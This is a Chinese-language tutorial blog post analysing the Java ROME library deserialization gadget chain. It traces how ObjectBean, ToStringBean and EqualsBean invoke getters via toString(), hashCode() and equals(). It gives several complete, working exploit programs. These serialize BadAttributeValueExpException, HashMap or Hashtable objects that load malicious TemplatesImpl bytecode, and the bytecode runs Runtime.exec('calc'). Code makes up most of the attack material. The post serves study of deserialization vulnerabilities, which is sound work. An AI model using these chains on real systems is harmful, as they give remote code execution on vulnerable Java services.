Rome链
RMOE 是一个用于RSS 和 Atom 订阅的Java框架。它是开源的。
它是一个可以兼容多种格式的 feeds 解析器,可以从一种格式转换成另一种格式,也可返回指定格式或Java对象。
环境准备
环境依赖:
1
2
3
4
5
|
<dependency>
<groupId>rome</groupId>
<artifactId>rome</artifactId>
<version>1.0</version>
</dependency>
|
测试环境:
需要了解的类
ToStringBean
这个类位于com.sun.syndication.feed.impl.ToStringBean
,这个类主要就是看他的toString方法。
他有两个toString()方法,前一个是无参的public类型的方法:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
|
public String toString() {
Stack stack = (Stack)PREFIX_TL.get();
String[] tsInfo = (String[])(stack.isEmpty() ? null : stack.peek());
String prefix;
if (tsInfo == null) {
String className = this._obj.getClass().getName();
prefix = className.substring(className.lastIndexOf(".") + 1);
} else {
prefix = tsInfo[0];
tsInfo[1] = prefix;
}
return this.toString(prefix);
}
|
后面一个就是有参的private类型的方法,源代码为:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
|
private String toString(String prefix) {
StringBuffer sb = new StringBuffer(128);
try {
PropertyDescriptor[] pds = BeanIntrospector.getPropertyDescriptors(this._beanClass);
if (pds != null) {
for(int i = 0; i < pds.length; ++i) {
String pName = pds[i].getName();
Method pReadMethod = pds[i].getReadMethod();
if (pReadMethod != null && pReadMethod.getDeclaringClass() != Object.class && pReadMethod.getParameterTypes().length == 0) {
Object value = pReadMethod.invoke(this._obj, NO_PARAMS);
this.printProperty(sb, prefix + "." + pName, value);
}
}
}
} catch (Exception var8) {
sb.append("\n\nEXCEPTION: Could not complete " + this._obj.getClass() + ".toString(): " + var8.getMessage() + "\n");
}
return sb.toString();
}
|
先简单了解一下,后面再细说。
ObjectBean
这个类位于com.sun.syndication.feed.impl.ObjectBean
,它是Rome 提供的一个封装类型,初始化时提供了一个 Class 类型和一个Object 对象实例进行封装:

现在着重于看这个类中的方法,这里有三个方法可以利用,下面分别说明一下:
toString()
ObjectBean类的toString()方法源代码如下:

所以这里会调用ToStringBean类的toString()方法,前面说过ToStringBean有两个toString()方法,这里是没有传入参数的,所以调用的是ToStringBean的第一个toString()方法。

并且可以看出最后调用的是第二个toString并传入了prefix,这里简单分析一下图中我画红线两段代码,其实就是获取我传入的类实例的名字。看下面代码就能看懂:
1
2
3
4
5
6
7
8
9
10
11
12
13
|
package org.example;
public class Haha {
public static void main(String[] args) throws Exception {
String prefix;
Haha _obj =new Haha();
String className = _obj.getClass().getName();
System.out.println(className);
prefix = className.substring(className.lastIndexOf(".") + 1);
System.out.println(prefix);
}
}
|
结果为:
1
2
|
org.example.Haha
Haha
|
基本就知道了,就是用来获取类名的。
——————
现在我们再来看第二个toString()方法,重点分析其中的一部分代码:
1
2
3
4
5
6
7
8
9
10
11
12
13
|
try {
PropertyDescriptor[] pds = BeanIntrospector.getPropertyDescriptors(this._beanClass);
if (pds != null) {
for(int i = 0; i < pds.length; ++i) {
String pName = pds[i].getName();
Method pReadMethod = pds[i].getReadMethod();
if (pReadMethod != null && pReadMethod.getDeclaringClass() != Object.class && pReadMethod.getParameterTypes().length == 0) {
Object value = pReadMethod.invoke(this._obj, NO_PARAMS);
this.printProperty(sb, prefix + "." + pName, value);
}
}
}
}
|
1.先看BeanIntrospector.getPropertyDescriptors(this._beanClass),我们点开源代码看一下:

这里用到了_introspected
变量,我们可以看一下这个变量的赋值:

可以看到这里就直接将这个变量赋值为了HashMap类的实例。继续看getPropertyDescriptors方法,逐行来看:
1
|
PropertyDescriptor[] descriptors = (PropertyDescriptor[])((PropertyDescriptor[])_introspected.get(klass));
|
所以这里会调用HashMap的get方法,来获取kclass对应的值。
再来看一下我们在实例化ObjectBean时调用的ToStringBean类的构造方法:

所以这里的kclass对应的_beanClass的类型是一个Class类对象。
——————
继续getPropertyDescriptors方法,很明显我们并没有往BeanIntrospector的HashMap中放入任何值,所以这里的get()返回的肯定是null。
所以顺理成章进入到if语句,如下代码:
1
2
3
4
|
if (descriptors == null) {
descriptors = getPDs(klass);
_introspected.put(klass, descriptors);
}
|
这里会先调用getPDs()方法,然后再将这个kclass和getPDs的结果put进HasMap里形成一个键值对。
现在再来看这里调用的getPDs():

这个方法大概就是获取这个Class对象所有的getter和setter然后打包成数组返回。
所以这个方法最终会将这个Class对象和它的setterr和getter打包成键值对放入BeanIntrospector类的HashMap中。
最后会将这个数组返回:

所以这里的getPropertyDescriptors()方法就是获取我们传入的Class对象的getter和setter方法,逻辑还是挺好看懂的,如果HashMap中有相对应的键值对就直接以数组形式返回setter和getter方法,没有的话就重新找然后返回。
————————
2.继续看toString()方法,现在得到了结果,假设我们传入的Class有getter和setter,那么getPropertyDescriptors()方法返回的就不为null,即pds不为null,成功进入if条件:
1
2
3
4
5
6
7
8
9
10
|
if (pds != null) {
for(int i = 0; i < pds.length; ++i) {
String pName = pds[i].getName();
Method pReadMethod = pds[i].getReadMethod();
if (pReadMethod != null && pReadMethod.getDeclaringClass() != Object.class && pReadMethod.getParameterTypes().length == 0) {
Object value = pReadMethod.invoke(this._obj, NO_PARAMS);
this.printProperty(sb, prefix + "." + pName, value);
}
}
}
|
现在就是重点分析if语句内的java语句了。
对于这个for循环,只要能进入if语句就能进行至少一次for循环(因为数组中只要有一个值那么length就为1),继续看后面的代码:

然后这里的 getReadMethod() 方法是获取Class对象的getter方法,如果正确获取到了get方法,应该就可以通过里面的if条件,然后就可以调用到invoke方法,这里的NO_PARAMS变量的值也是固定的,如下:

这里可以把new Object[0]
理解成类似于null这种,然后就可以正常调用getter方法获取值。
现在就出来了一条链,类似CB链这种,现在就可以利用到TemplateImpl类的getOutputProperties()方法:

这样就可以直接构造攻击了。现在就可以先去看攻击构造的toString部分了.
hashCode()
再粘过来一下ObjectBean的构造方法:

这里ObjectBean类的hashCode()方法源码如下:

然后从上面的初始化方法可以看出这里会调用 _equalsBean 变量对应的EqualsBean类实例的beanHashCode() 方法,源码如下:

这里就又是一个触发toString()方法的地方,并且这个EqualsBean类的_obj
变量是可控的:

前面的判断语句就是看我传入的参数obj
是否是beanClass
类的实例,是的话就返回true,反之依然,由于!
,所以这里我们传入的obj需要是beanClass的实例。只要我们将这里的Obj又控制为一个恶意ObjectBean类实例即可。
现在就又可以构造一个利用链了。这里是用的HashMap来构造。现在就可以直接去看攻击构造的hashCode()那一步了。
equals()
同样的再次把ObjectBean构造方法粘过来一下:

现在来看这个类的equals()方法:

所以这里会调用EqualsBean类的beanEquals()方法,方法重点源码如下:

这里的代码和前面的toString()方法大相径庭,还是获取一个类的getter和setter方法,然后调用invoke()方法。
现在的想法就是对前面的if条件的判断,如下:

前面很好进,主要就是我重点标注的地方。这里就是要求我们传入的obj是 _beanClass 的实例。这个简单,传一个impl进去就行。
先来看我们如何调用这个equals()方法。正好我们的CC7中就有利用到equals()方法。这里就是用Hashtable类。
后续就可以直接去看攻击构造了。
攻击构造
toString()
前面说的已经非常清楚了。还是挺简单的。
那么还是利用动态加载字节码。基本盘:
Test.java:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
|
package org.example;
import java.io.IOException;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
public class Test extends AbstractTranslet {
public Test() throws IOException {
Runtime.getRuntime().exec("calc");
}
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
}
|
Main.java部分:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
|
package org.example;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
public class Main{
public static void main(String[] args) throws Exception {
byte[] code = Files.readAllBytes(Paths.get("D:\\maven_text\\maven1_text\\target\\test-classes\\org\\example\\Test.class"));
TemplatesImpl impl = new TemplatesImpl();
setFieldValue(impl,"_name","fupanc");
setFieldValue(impl,"_bytecodes",new byte[][]{code});
setFieldValue(impl, "_class", null);
setFieldValue(impl, "_tfactory", new TransformerFactoryImpl());
}
public static void setFieldValue(Object obj,String fieldName,Object value) throws Exception{
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj,value);
}
}
|
现在就是接入链子。
主要就是想在哪里可以调用ObjectBean的toString()方法。而在CC5中用到的BadAttributeValueExpException
类反序时就可以调用到toStirng方法(这个类位于javax.management.BadAttributeValueExpException
):

在CC5我们就说了这里的valObj其实对应的就是序列化的变量val,所以我们控制这个变量为ObjectBean()即可,使用反射来更改val的值即可,那么构造的POC如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
|
package org.example;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import javax.management.BadAttributeValueExpException;
import com.sun.syndication.feed.impl.ObjectBean;
import java.io.FileOutputStream;
import java.io.FileInputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
public class Main{
public static void main(String[] args) throws Exception {
byte[] code = Files.readAllBytes(Paths.get("D:\\maven_text\\maven1_text\\target\\test-classes\\org\\example\\Test.class"));
TemplatesImpl impl = new TemplatesImpl();
setFieldValue(impl,"_name","fupanc");
setFieldValue(impl,"_bytecodes",new byte[][]{code});
setFieldValue(impl, "_class", null);
setFieldValue(impl, "_tfactory", new TransformerFactoryImpl());
BadAttributeValueExpException haha = new BadAttributeValueExpException("fupanc");
ObjectBean x1 = new ObjectBean(TemplatesImpl.class,impl);
setFieldValue(haha,"val",x1);
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("ser.ser"));
out.writeObject(haha);
out.close();
ObjectInputStream input = new ObjectInputStream(new FileInputStream("ser.ser"));
input.readObject();
input.close();
}
public static void setFieldValue(Object obj,String fieldName,Object value) throws Exception{
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj,value);
}
}
|
弹不了,然后我去看了一下其他师傅的文章,发现这里不能用TemplatesImpl.class,而是Templates.class,关系如下:

在Templates.class中有个接口,里面就有我们要利用的getOutputProperties:

所以我们就可以使用Templates.class来获取到这个getter方法。
那么为什么我们要使用这个呢?明明逻辑上没有问题,TemplatesImpl.class就是有问题呢?
先给POC,然后我们再调试看看。
所以最终POC如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
|
package org.example;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import javax.management.BadAttributeValueExpException;
import com.sun.syndication.feed.impl.ObjectBean;
import javax.xml.transform.Templates;
import java.io.FileOutputStream;
import java.io.FileInputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
public class Main{
public static void main(String[] args) throws Exception {
byte[] code = Files.readAllBytes(Paths.get("D:\\maven_text\\maven1_text\\target\\test-classes\\org\\example\\Test.class"));
TemplatesImpl impl = new TemplatesImpl();
setFieldValue(impl,"_name","fupanc");
setFieldValue(impl,"_bytecodes",new byte[][]{code});
setFieldValue(impl, "_class", null);
setFieldValue(impl, "_tfactory", new TransformerFactoryImpl());
BadAttributeValueExpException haha = new BadAttributeValueExpException("fupanc");
ObjectBean x1 = new ObjectBean(Templates.class,impl);
setFieldValue(haha,"val",x1);
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("ser.ser"));
out.writeObject(haha);
out.close();
ObjectInputStream input = new ObjectInputStream(new FileInputStream("ser.ser"));
input.readObject();
input.close();
}
public static void setFieldValue(Object obj,String fieldName,Object value) throws Exception{
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj,value);
}
}
|
现在来解决一下之前的问题。我打断点如下:

确实成功直接获取到了我们想要利用的getOutputProperties()方法,但是当我如下打断点:

然后调试,发现这里并不会进入到这个语句。这让我想到了之前CC5个人思考那里的问题,在我们动态加载字节码的时候,由于其中的过程,导致了在中间某一步直接报错退出。
结合这个,我们来想一下如果利用TemplatesImpl.class,因为TemplatesImpl.class中的getter不止一个,所以其实很有可能在其中某个getter直接报错退出了,导致我们没能成功利用到想用的getOutputProperties()方法。
然后我们再用原先错误的TemplatesImpl.class调试一下,还是打断点如下:

当调用到getStylesheetDOM()时,invoke那里确实就直接报错退出到catch部分了:

这个getStylesheetDOM()方法如下:

——————
OK,问题解决。
所以注意:后面这里记到用Templates.class,而不是TemplatesImpl.class。
hashCode()
这里是用的HashMap,但是同样的应该HashSet和Hashtable也行,这三个都是有hashCode链的。分析一下HashMap类:
同样的基本盘:
Test.java:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
|
package org.example;
import java.io.IOException;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
public class Test extends AbstractTranslet {
public Test() throws IOException {
Runtime.getRuntime().exec("calc");
}
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
}
|
Main.java:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
|
package org.example;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
public class Main{
public static void main(String[] args) throws Exception {
byte[] code = Files.readAllBytes(Paths.get("D:\\maven_text\\maven1_text\\target\\test-classes\\org\\example\\Test.class"));
TemplatesImpl impl = new TemplatesImpl();
setFieldValue(impl,"_name","fupanc");
setFieldValue(impl,"_bytecodes",new byte[][]{code});
setFieldValue(impl, "_class", null);
setFieldValue(impl, "_tfactory", new TransformerFactoryImpl());
}
public static void setFieldValue(Object obj,String fieldName,Object value) throws Exception{
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj,value);
}
}
|
现在就是接入HashMap。
还是很简单的。
就是为了触发恶意ObjectBean的toString()方法,POC如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
|
package org.example;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import javax.xml.transform.Templates;
import com.sun.syndication.feed.impl.ObjectBean;
import java.io.FileOutputStream;
import java.io.FileInputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
public class Main{
public static void main(String[] args) throws Exception {
byte[] code = Files.readAllBytes(Paths.get("D:\\maven_text\\maven1_text\\target\\test-classes\\org\\example\\Test.class"));
TemplatesImpl impl = new TemplatesImpl();
setFieldValue(impl,"_name","fupanc");
setFieldValue(impl,"_bytecodes",new byte[][]{code});
setFieldValue(impl, "_class", null);
setFieldValue(impl, "_tfactory", new TransformerFactoryImpl());
ObjectBean bean = new ObjectBean(Templates.class,impl);
HashMap hashMap = new HashMap();
ObjectBean x = new ObjectBean(ObjectBean.class,bean);
hashMap.put(x,"fupanc");
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("ser.ser"));
out.writeObject(hashMap);
out.close();
ObjectInputStream input = new ObjectInputStream(new FileInputStream("ser.ser"));
input.readObject();
input.close();
}
public static void setFieldValue(Object obj,String fieldName,Object value) throws Exception{
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj,value);
}
}
|
成功按照预期弹出两个计算机。(序列一个,反序列化一个)
但是好像还是有点问题,构思一下,如何在反序列化的时候只弹出一个计算机:
正常来说肯定会在序列化前的那个put()方法会调用一次完整的链,那里会导致异常输出,所以并不能成功利用。
现在来看看在toString()方法获取getter并调用的代码:

我想到了一个点,是否可以让这里的pds为null,从而在序列化前不进入if条件从而不会调用到getter方法,在put方法过后再反射修改值呢?
那么这个pds变量的赋值也是分析过的,所以可以尝试找没有getter和setter方法的class对象?
主要是要满足如下条件:

也就是这个EqualsBean类实例化时必须满足相对应的实例。找了一下没找到。
其实具体的方法可以参考后面的equals()方法链的解决方法,具体想法可以先看后面,这里就给一个POC后再简单说明:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
|
package org.example;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.syndication.feed.impl.ToStringBean;
import com.sun.syndication.feed.impl.EqualsBean;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import javax.xml.transform.Templates;
import java.io.FileOutputStream;
import java.io.FileInputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
public class Main{
public static void main(String[] args) throws Exception {
byte[] code = Files.readAllBytes(Paths.get("D:\\maven_text\\maven1_text\\target\\test-classes\\org\\example\\Test.class"));
TemplatesImpl impl = new TemplatesImpl();
setFieldValue(impl,"_name","fupanc");
setFieldValue(impl,"_bytecodes",new byte[][]{code});
setFieldValue(impl, "_class", null);
setFieldValue(impl, "_tfactory", new TransformerFactoryImpl());
ToStringBean bean = new ToStringBean(Templates.class,impl);
EqualsBean x = new EqualsBean(String.class,"fupanc");
HashMap hashMap = new HashMap();
hashMap.put(x,"fupanc");
setFieldValue(x,"_beanClass",ToStringBean.class);
setFieldValue(x,"_obj",bean);
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("ser.ser"));
out.writeObject(hashMap);
out.close();
ObjectInputStream input = new ObjectInputStream(new FileInputStream("ser.ser"));
input.readObject();
input.close();
}
public static void setFieldValue(Object obj,String fieldName,Object value) throws Exception{
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj,value);
}
}
|
简单说明一下,这里将ObjectBean类都换成了相对应的类,并且其实这里最终调用的都是相对应的类:

对于这里的hashCode(),其实调用的就是EqualsBean类的beanHashCode()方法:

也就是漏洞触发点:

在这里,我是将EqualsBean赋值时也是相对应的String.class和"fupanc",符合EqualsBean类的构造函数方法,主要的不同点就是上面的beanHashCode()方法,原先的POC中是会直接调用到toString()方法触发一次调用链的,但是在这里,我将这个_obj
变量赋值为了一个字符串实例,所以这里就是一个单纯的算hash的过程:

那么后续就是成功往hashMap中放进了键值对,然后在反序列化时也是符合预期的:

并且运行后只在反序列化时弹出一个计算机,成功修改。
等如HashSet、Hashtable基本都差不多,如果过滤HashMap时要想到这些。
equals()
还是先来给出基本盘:
Test.java:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
|
package org.example;
import java.io.IOException;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
public class Test extends AbstractTranslet {
public Test() throws IOException {
Runtime.getRuntime().exec("calc");
}
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
}
|
Main.java:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
|
package org.example;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
public class Main{
public static void main(String[] args) throws Exception {
byte[] code = Files.readAllBytes(Paths.get("D:\\maven_text\\maven1_text\\target\\test-classes\\org\\example\\Test.class"));
TemplatesImpl impl = new TemplatesImpl();
setFieldValue(impl,"_name","fupanc");
setFieldValue(impl,"_bytecodes",new byte[][]{code});
setFieldValue(impl, "_class", null);
setFieldValue(impl, "_tfactory", new TransformerFactoryImpl());
}
public static void setFieldValue(Object obj,String fieldName,Object value) throws Exception{
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj,value);
}
}
|
现在还是来想如何将基本盘接入Hashtable类。
重点还是在于readObject()调用的reconstitutionPut():

下面来分析一下。
先从序列化过程说起。再总结一下前面的需求:
1.首先就是调用到的ObjectBean
的equals()方法,现在着重看参数:

这里传入的other参数,继续看beanEquals()方法:

也就是这里的obj,单纯对obj来说就这前面的利用,由于我们想要正常利用后面的invoke()方法,所以需要满足this._beanClass.isInstance(obj)
,这样才会进入else执行我们想用的代码。在这里我会尝试传入一个TemplatesImpl实例,但是真正利用的却并不是这个传入的TemplatesImpl类实例,看利用代码:

也是之前一直说的,动态加载字节码后会直接报异常然后退出,所以这里真正利用到的其实只是这个bean1,而这个bean1对应的是_obj
这个变量,那个这里的bean1,也就是我们构造的参数传递的值,起的真正作用是什么,就是为了满足this._beanClass.isInstance(obj)
,也就只有这个作用了,具体参数传递后面会讲,作用也就是这个。
2.现在再来看一下Hashtable的put方法:

如何触发equals()方法,自己想了一下,本来想直接传入ObjectBean类实例的,但是对于这里的hash相等不一定。
看了一下nivia师傅的文章,调用的是HashMap的equals()方法,这个equals()方法调用过程是和CC7的那条链差不多的。
现在再来看一下HashMap的equals()调用过程:
HashMap父类AbstractMap的equals()方法:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
|
public boolean equals(Object o) {
if (o == this)
return true;
if (!(o instanceof Map))
return false;
Map<?,?> m = (Map<?,?>) o;
if (m.size() != size())
return false;
try {
Iterator<Entry<K,V>> i = entrySet().iterator();
while (i.hasNext()) {
Entry<K,V> e = i.next();
K key = e.getKey();
V value = e.getValue();
if (value == null) {
if (!(m.get(key)==null && m.containsKey(key)))
return false;
} else {
if (!value.equals(m.get(key)))
return false;
}
}
} catch (ClassCastException unused) {
return false;
} catch (NullPointerException unused) {
return false;
}
return true;
}
|
在这个方法代码里面还有一处是调用的equals

就是这里,只要控制这里的value为ObjectBean类实例即可。
结合前面的需求,我们需要传入两个,一个是HashMap类实例,还有个就是TemplatesImpl类实例,但是看这里参数的传递,其实就是m.get(key)
得到的值就是对应前面说过的ObjectBean类的equals()方法的other,然后这里的m又是对应的传入的o:

即:

这里的key。
所以现在我们是需要传入两个HashMap类实例,然后这里对第二个HashMap类调用get时可以返回一个TemplatesImpl类实例。所以我们需要put进去。
这里总结一下前面的需求:
问题解决:

就是这个,所以我们还需要给HashMap传进去一个ObjectBean类实例的值。同时在CC7学习中,我们可以知道这里的e是hashMap0(假设会向Hashtable中传入hashMap0和hashMap1),这也是为什么在CC7那里要移除yy的原因。
根据这个,我们的两个HashMap类就需要有逻辑。直接给代码:
1
2
3
4
5
6
7
|
HashMap hashMap0 = new HashMap();
hashMap0.put("zZ",bean);
hashMap0.put("yy",impl);
HashMap hashMap1 = new HashMap();
hashMap1.put("zZ",impl);
hashMap1.put("yy",bean);
|
比如说当前面拿到的第一个HashMap的key和value分别为zZ和bean,那么此时对于我们的第二个HashMap调用的就是get(“zZ”),而我们这里需要的是impl,所以在第二个HashMap的键值对中我们就需要将键zZ的值设置为impl,所以这里也是需要反着来的原因。
那么又是为什么要两个呢?
按理说应该如下代码就行了:
1
2
3
4
5
|
HashMap hashMap0 = new HashMap();
hashMap0.put("zZ",bean);
HashMap hashMap1 = new HashMap();
hashMap1.put("zZ",impl);
|
这样不就已经对应了吗。这就与hash值相等有关系了,继续看后面。
在前面也说过了,会传入两个HashMap类,所以会调用HashMap的父类AbstractMap的hashCode()方法,在CC7也有说过,过程中需要注意的点就是:

即在生成哈希码的时候需要考虑到key和value。
毋庸置疑yy和zZ本身就已经哈希碰撞相同了。在我们之前的提出的疑问:为啥设置两个,这里就能给出答案:像前面那样只设置一个,key是相同了,但是这里的value是肯定不相同的。
所以我们需要设置两个:
1
2
3
4
5
6
7
|
HashMap hashMap0 = new HashMap();
hashMap0.put("zZ",bean);
hashMap0.put("yy",impl);
HashMap hashMap1 = new HashMap();
hashMap1.put("zZ",impl);
hashMap1.put("yy",bean);
|
——————
现在就可以尝试一下构造代码了:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
|
package org.example;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import javax.xml.transform.Templates;
import java.util.Hashtable;
import com.sun.syndication.feed.impl.ObjectBean;
import java.util.HashMap;
import java.io.FileOutputStream;
import java.io.FileInputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
public class Main{
public static void main(String[] args) throws Exception {
byte[] code = Files.readAllBytes(Paths.get("D:\\maven_text\\maven1_text\\target\\test-classes\\org\\example\\Test.class"));
TemplatesImpl impl = new TemplatesImpl();
setFieldValue(impl,"_name","fupanc");
setFieldValue(impl,"_bytecodes",new byte[][]{code});
setFieldValue(impl, "_class", null);
setFieldValue(impl, "_tfactory", new TransformerFactoryImpl());
ObjectBean bean = new ObjectBean(Templates.class,impl);
Hashtable hash = new Hashtable();
HashMap hashMap0 = new HashMap();
hashMap0.put("zZ",bean);
hashMap0.put("yy",impl);
HashMap hashMap1 = new HashMap();
hashMap1.put("zZ",impl);
hashMap1.put("yy",bean);
hash.put(hashMap0,1);
hash.put(hashMap1,1);
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("ser.ser"));
out.writeObject(hash);
out.close();
ObjectInputStream input = new ObjectInputStream(new FileInputStream("ser.ser"));
input.readObject();
input.close();
}
public static void setFieldValue(Object obj,String fieldName,Object value) throws Exception{
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj,value);
}
}
|
运行后只弹出一个计算机,那么只能是序列化的时候弹出来的,打断点调试一下,发现确实是都没有进入序列化部分,并且是无法放入第二个键值对的:

解决方法,还是反射更改,代码如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
|
package org.example;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import javax.xml.transform.Templates;
import java.util.Hashtable;
import com.sun.syndication.feed.impl.ObjectBean;
import java.util.HashMap;
import com.sun.syndication.feed.impl.EqualsBean;
import java.io.FileOutputStream;
import java.io.FileInputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
public class Main{
public static void main(String[] args) throws Exception {
byte[] code = Files.readAllBytes(Paths.get("D:\\maven_text\\maven1_text\\target\\test-classes\\org\\example\\Test.class"));
TemplatesImpl impl = new TemplatesImpl();
setFieldValue(impl,"_name","fupanc");
setFieldValue(impl,"_bytecodes",new byte[][]{code});
setFieldValue(impl, "_class", null);
setFieldValue(impl, "_tfactory", new TransformerFactoryImpl());
EqualsBean bean = new EqualsBean(String.class,"fupanc");
Hashtable hash = new Hashtable();
HashMap hashMap0 = new HashMap();
hashMap0.put("zZ",bean);
hashMap0.put("yy",impl);
HashMap hashMap1 = new HashMap();
hashMap1.put("zZ",impl);
hashMap1.put("yy",bean);
hash.put(hashMap0,1);
hash.put(hashMap1,1);
setFieldValue(bean,"_beanClass",Templates.class);
setFieldValue(bean,"_obj",impl);
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("ser.ser"));
out.writeObject(hash);
out.close();
ObjectInputStream input = new ObjectInputStream(new FileInputStream("ser.ser"));
input.readObject();
input.close();
}
public static void setFieldValue(Object obj,String fieldName,Object value) throws Exception{
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj,value);
}
}
|
简单说明一下,EqualsBean类不用说了,就是ObjectBean类实例用的那个。ObjectBean类的equals()方法也是指向的我们要利用的那个:

对于反射修改,还是很妙的,直接在下面这一步就断出去了并且没有影响基本的赋值问题:

因为传入的TemplatesImpl类实例和String.class不是相对应的,所以没有进入下面的加载字节码的过程。直接讲eq赋值为了false,并且在最后是返回了这个值的:

